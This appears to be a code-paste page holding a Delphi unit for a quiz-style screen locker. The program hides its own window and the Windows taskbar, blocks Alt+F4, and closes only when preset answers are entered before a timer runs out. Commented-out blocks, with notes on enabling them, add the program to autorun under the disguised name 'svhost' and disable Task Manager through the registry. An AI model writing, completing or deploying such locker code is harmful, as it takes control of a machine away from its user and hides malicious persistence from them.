logo
Автор: ilyhamas
Описание: ыыыыы
Язык: Delphi
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, ExtCtrls, sGauge, sLabel, sEdit,
  Buttons, sBitBtn, RegisTry, rxAnimate, rxGIFCtrl, Menus, ComCtrls;

type
  TForm1 = class(TForm)
    sButton1: TsButton;
    sLabel4: TsLabel;
    ScrollBox1: TScrollBox;
    Edit4: TEdit;
    Edit1: TEdit;
    Edit2: TEdit;
    Label7: TLabel;
    Button1: TButton;
    Label9: TLabel;
    GroupBox1: TGroupBox;
    Label3: TLabel;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    GroupBox2: TGroupBox;
    Label5: TLabel;
    RadioButton5: TRadioButton;
    RadioButton6: TRadioButton;
    RadioButton7: TRadioButton;
    RadioButton8: TRadioButton;
    GroupBox3: TGroupBox;
    Label8: TLabel;
    RadioButton9: TRadioButton;
    RadioButton10: TRadioButton;
    RadioButton11: TRadioButton;
    RadioButton12: TRadioButton;
    GroupBox4: TGroupBox;
    Label10: TLabel;
    RadioButton13: TRadioButton;
    RadioButton14: TRadioButton;
    RadioButton15: TRadioButton;
    RadioButton16: TRadioButton;
    GroupBox5: TGroupBox;
    Label4: TLabel;
    Label11: TLabel;
    GroupBox6: TGroupBox;
    Label1: TLabel;
    Label6: TLabel;
    GroupBox7: TGroupBox;
    Label12: TLabel;
    Edit3: TEdit;
    Label13: TLabel;
    GroupBox8: TGroupBox;
    Label2: TLabel;
    Label14: TLabel;
    sSkinManager1: TsSkinManager;
    Label15: TLabel;
    Button2: TButton;
    Timer1: TTimer;
    Label16: TLabel;
    Edit5: TEdit;
    Edit6: TEdit;
    procedure FormShow(Sender: TObject);
    //procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure Button1Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);



  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  R,S,T,K:real;
  i: Integer;
  reg: Tregistry;
  implementation

uses Unit2, Unit3;

{$R *.dfm}
 var
  // интервал
  min: integer;  // минут
  sec: integer;  // секунд


procedure ShowTime;
var
    buf: string[20];
begin
  // минуты и секунды выводим двумя цифрами
  if min < 10 then
     buf := '0' + IntToStr(min) + ':'
  else
     buf := IntToStr(min) + ':';

  if sec < 10 then
    buf := buf + '0' + IntToStr(sec)
  else
    buf := buf + IntToStr(sec);

  Form1.Label16.Caption := buf;
end;


 //добавление в автозагрузку
procedure TForm1.FormShow(Sender: TObject);
{var reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := HKEY_CURRENT_USER;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('svhost', application.exename); //вместо lock можно вставить что нибудь
reg.closekey;
reg.free; }
  begin
 //отключение диспетчера задач (операторные скобки убрать)
{reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',false);
reg.WriteString('DisableTaskMgr','1');
reg.CloseKey; }

 //невидимость

 showwindow( Application.Handle, SW_HIDE);


// скрывает панель задач
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_hide); // Для открытия изменить HIDE на SHOW
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
keypreview:=true;
end;
  // запрет альт f4
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
 if ((ssalt in shift) and ( Key=VK_F4) ) then
 key:=0;
end;



procedure TForm1.Button1Click(Sender: TObject);
begin
close;
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_show);
end;



procedure TForm1.sButton1Click(Sender: TObject);
begin
if (radiobutton4.checked=true) and
(radiobutton5.checked=true) and
(radiobutton9.checked=true) and
(radiobutton16.checked=true) and
(edit4.Text='8') and (edit1.Text='10') and (edit3.Text='0,7') and (edit2.Text='1197')  then
close
else form3.show;
 end;
procedure TForm1.Button2Click(Sender: TObject);
begin
label15.Visible:=false;
button2.Visible:=false;
scrollbox1.Visible:=true;
slabel4.Visible:=true;
sbutton1.Visible:=true;

  if Form1.Timer1.Enabled then
    // таймер работает, надо остановить
    begin
      Timer1.Enabled := False;   // стоп
       end

  else
    // таймер стоит, надо запустить
    begin
      min := StrToInt(Edit5.Text);
      sec := StrToInt(Edit6.Text);


      Timer1.Enabled := True;    // запустить таймер
      // скрыть поля ввода интервала

      Label16.Visible := True;
      ShowTime;
    end;
end;



procedure TForm1.Timer1Timer(Sender: TObject);
begin
 sec := sec - 1;
  ShowTime; // показать, сколько времени осталось
  if (min = 0) and (sec = 0) then
    // заданный интервал истек
    begin
      Timer1.Enabled := False;   // стоп
      form2.show;
      radiobutton1.Enabled:=false;
      radiobutton2.Enabled:=false;
      radiobutton3.Enabled:=false;
      radiobutton4.Enabled:=false;
      radiobutton5.Enabled:=false;
      radiobutton6.Enabled:=false;
      radiobutton7.Enabled:=false;
      radiobutton8.Enabled:=false;
      radiobutton9.Enabled:=false;
      radiobutton10.Enabled:=false;
      radiobutton11.Enabled:=false;
      radiobutton12.Enabled:=false;
      radiobutton13.Enabled:=false;
      radiobutton14.Enabled:=false;
      radiobutton15.Enabled:=false;
      radiobutton16.Enabled:=false;
      edit1.Text:=' ';
      edit2.Text:=' ';
      edit3.Text:=' ';
      edit4.Text:=' ';
      exit;
end;
if (sec = 0) and (min > 0) then
     begin
         sec := 60;
         min := min - 1;
     end;
end;



end.
Последние размещения:
biophreak (Plain Text)
Raik (PHP)
MUSbKA (Plain Text)
MUSbKA (Plain Text)
nekitozzz (C++)
nekitozzz (Plain Text)
nekitozzz (C++)
ksurent (Perl)
MUSbKA (C++)
stalin_alex (C++)
dzantiev (Plain Text)
unreal (C++)
eug2b (Plain Text)
netsago.paste.β © 2009 Neunica